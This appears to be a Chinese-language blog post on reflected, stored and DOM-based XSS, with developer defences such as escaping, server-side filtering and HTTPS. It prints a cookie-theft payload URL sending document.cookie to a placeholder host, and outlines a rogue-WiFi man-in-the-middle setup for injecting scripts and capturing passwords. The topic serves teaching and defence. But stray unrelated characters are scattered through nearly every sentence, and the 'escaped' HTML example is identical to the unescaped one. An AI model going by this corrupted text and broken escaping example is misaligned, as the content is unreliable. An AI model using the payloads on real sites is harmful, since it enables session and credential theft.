XSS(cross-site scripting跨域腳本攻擊)攻擊是最常見的Web攻擊嗜暴,其重點(diǎn)是“跨域”和“客戶端執(zhí)行”。有人將XSS攻擊分為三種拆挥,分別是:
1.?Reflected XSS(基于反射的XSS攻擊)
2.?Stored XSS(基于存儲(chǔ)的XSS攻擊)
3.?DOM-based or local XSS(基于DOM或本地的XSS攻擊)
Reflected XSS
基于反射的XSS攻擊利职,主要依靠站點(diǎn)服務(wù)端返回腳本送膳,在客戶端觸發(fā)執(zhí)行從而發(fā)起Web攻擊。
例子:
1. 做個(gè)假設(shè)吼肥,當(dāng)亞馬遜在搜索書籍录平,搜不到書的時(shí)候顯示提交的名稱。
2. 在搜索框搜索內(nèi)容缀皱,填入“<script>alert('handsome boy')</script>”, 點(diǎn)擊搜索斗这。
3. 當(dāng)前端頁面沒有對(duì)返回的數(shù)據(jù)進(jìn)行過濾,直接顯示在頁面上啤斗, 這時(shí)就會(huì)alert那個(gè)字符串出來涝影。
4. 進(jìn)而可以構(gòu)造獲取用戶cookies的地址,通過QQ群或者垃圾郵件争占,來讓其他人點(diǎn)擊這個(gè)地址:
http://www.amazon.cn/search?name=<script>document.location='http://xxx/get?cookie='+document.cookie</script>
PS:這個(gè)地址當(dāng)然是沒效的燃逻,只是舉例子而已。
結(jié)論:
如果只是1臂痕、2伯襟、3步做成功,那也只是自己折騰自己而已握童,如果第4步能做成功姆怪,才是個(gè)像樣的XSS攻擊。
開發(fā)安全措施:
1. 前端在顯示服務(wù)端數(shù)據(jù)時(shí)候,不僅是標(biāo)簽內(nèi)容需要過濾稽揭、轉(zhuǎn)義俺附,就連屬性值也都可能需要。
2. 后端接收請(qǐng)求時(shí)溪掀,驗(yàn)證請(qǐng)求是否為攻擊請(qǐng)求事镣,攻擊則屏蔽。
例如:
標(biāo)簽:
<span><script>alert('handsome boy')</script></span>
轉(zhuǎn)義
<span><script>alert('handsome boy')</script></span>
屬性:
如果一個(gè)input的value屬性值是
瑯琊榜" onclick="javascript:alert('handsome boy')
就可能出現(xiàn)
<input type="text" value="瑯琊榜" onclick="javascript:alert('handsome boy')">
點(diǎn)擊input導(dǎo)致攻擊腳本被執(zhí)行揪胃,解決方式可以對(duì)script或者雙引號(hào)進(jìn)行過濾璃哟。
Stored XSS
基于存儲(chǔ)的XSS攻擊,是通過發(fā)表帶有惡意跨域腳本的帖子/文章喊递,從而把惡意腳本存儲(chǔ)在服務(wù)器随闪,每個(gè)訪問該帖子/文章的人就會(huì)觸發(fā)執(zhí)行。
例子:
1. 發(fā)一篇文章骚勘,里面包含了惡意腳本
今天天氣不錯(cuò)邦戆椤!<script>alert('handsome boy')</script>
2. 后端沒有對(duì)文章進(jìn)行過濾俏讹,直接保存文章內(nèi)容到數(shù)據(jù)庫当宴。
3. 當(dāng)其他看這篇文章的時(shí)候,包含的惡意腳本就會(huì)執(zhí)行藐石。
PS:因?yàn)榇蟛糠治恼率潜4嬲麄€(gè)HTML內(nèi)容的即供,前端顯示時(shí)候也不做過濾,就極可能出現(xiàn)這種情況于微。
結(jié)論:
后端盡可能對(duì)提交數(shù)據(jù)做過濾逗嫡,在場(chǎng)景需求而不過濾的情況下,前端就需要做些處理了株依。
開發(fā)安全措施:
1. 首要是服務(wù)端要進(jìn)行過濾驱证,因?yàn)榍岸说男r?yàn)可以被繞過。
2. 當(dāng)服務(wù)端不校驗(yàn)時(shí)候恋腕,前端要以各種方式過濾里面可能的惡意腳本抹锄,例如script標(biāo)簽,將特殊字符轉(zhuǎn)換成HTML編碼荠藤。
DOM-based or local XSS
基于DOM或本地的XSS攻擊伙单。一般是提供一個(gè)免費(fèi)的wifi,但是提供免費(fèi)wifi的網(wǎng)關(guān)會(huì)往你訪問的任何頁面插入一段腳本或者是直接返回一個(gè)釣魚頁面哈肖,從而植入惡意腳本吻育。這種直接存在于頁面,無須經(jīng)過服務(wù)器返回就是基于本地的XSS攻擊淤井。
例子1:
1.?提供一個(gè)免費(fèi)的wifi布疼。
1. 開啟一個(gè)特殊的DNS服務(wù)摊趾,將所有域名都解析到我們的電腦上,并把Wifi的DHCP-DNS設(shè)置為我們的電腦IP游两。
2. 之后連上wifi的用戶打開任何網(wǎng)站砾层,請(qǐng)求都將被我們截取到。我們根據(jù)http頭中的host字段來轉(zhuǎn)發(fā)到真正服務(wù)器上贱案。
3. 收到服務(wù)器返回的數(shù)據(jù)之后肛炮,我們就可以實(shí)現(xiàn)網(wǎng)頁腳本的注入,并返回給用戶轰坊。
4.?當(dāng)注入的腳本被執(zhí)行铸董,用戶的瀏覽器將依次預(yù)加載各大網(wǎng)站的常用腳本庫祟印。
PS:例子和圖片來自肴沫,http://www.cnblogs.com/index-html/p/wifi_hijack_3.html不是我寫的,請(qǐng)注意蕴忆!
這個(gè)其實(shí)就是wifi流量劫持颤芬,中間人可以看到用戶的每一個(gè)請(qǐng)求,可以在頁面嵌入惡意代碼套鹅,使用惡意代碼獲取用戶的信息站蝠,可以返回釣魚頁面。
例子2:
1. 還是提供一個(gè)免費(fèi)wifi
2. 在我們電腦上進(jìn)行抓包
3.?分析數(shù)據(jù)卓鹿,可以獲取用戶的微信朋友圈菱魔、郵箱、社交網(wǎng)站帳號(hào)數(shù)據(jù)(HTTP)等吟孙。
PS:這個(gè)是我的測(cè)試澜倦,在51job頁面登錄時(shí)進(jìn)行抓包,可以獲取帳號(hào)密碼杰妓。
結(jié)論:
這攻擊其實(shí)跟網(wǎng)站本身沒有什么關(guān)系藻治,只是數(shù)據(jù)被中間人獲取了而已,而由于HTTP是明文傳輸?shù)南锘樱允菢O可能被竊取的桩卵。
開發(fā)安全措施:
1. 使用HTTPS!就跟我前面《HTTP與HTTPS握手的那些事》這篇文章說的倍宾,HTTPS會(huì)在請(qǐng)求數(shù)據(jù)之前進(jìn)行一次握手雏节,使得客戶端與服務(wù)端都有一個(gè)私鑰,服務(wù)端用這個(gè)私鑰加密高职,客戶端用這個(gè)私鑰解密钩乍,這樣即使數(shù)據(jù)被人截取了,也是加密后的數(shù)據(jù)初厚。
總結(jié)
XSS攻擊的特點(diǎn)就是:盡一切辦法在目標(biāo)網(wǎng)站上執(zhí)行非目標(biāo)網(wǎng)站上原有的腳本(某篇文章說的)件蚕。本地的XSS攻擊的示例2其實(shí)不算XSS攻擊孙技,只是簡單流量劫持。前兩種XSS攻擊是我們開發(fā)時(shí)候要注意的排作,而流量劫持的則可以使用HTTPS提高安全性牵啦,。
本文為原創(chuàng)文章妄痪,轉(zhuǎn)載請(qǐng)保留原出處哈雏,方便溯源,如有錯(cuò)誤地方衫生,謝謝指正裳瘪。